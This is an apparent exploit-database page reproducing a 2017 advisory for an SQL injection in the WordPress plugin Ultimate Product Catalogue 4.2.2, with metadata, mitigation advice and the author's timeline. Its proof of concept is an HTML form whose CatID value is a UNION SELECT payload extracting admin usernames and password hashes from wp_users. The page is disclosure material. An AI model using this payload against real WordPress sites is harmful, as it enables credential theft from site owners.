header-logo
Suggest Exploit
vendor:
Ultimate Product Catalogue
by:
Lenon Leite
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Ultimate Product Catalogue
Affected Version From: 4.2.2
Affected Version To: 4.2.2
Patch Exists: Yes
Related CWE: N/A
CPE: a:wordpress:ultimate_product_catalogue:4.2.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 16.04
2017

Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection

Ultimate Product Catalogue 4.2.2 is vulnerable to SQL Injection. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'CatID' parameter of the 'get_upcp_subcategories' AJAX action. An attacker can send a malicious request to the vulnerable application and execute arbitrary SQL commands in application's database, allowing to steal sensitive data from the database.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update to the latest version of the plugin.
Source

Exploit-DB raw data:

# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite​​*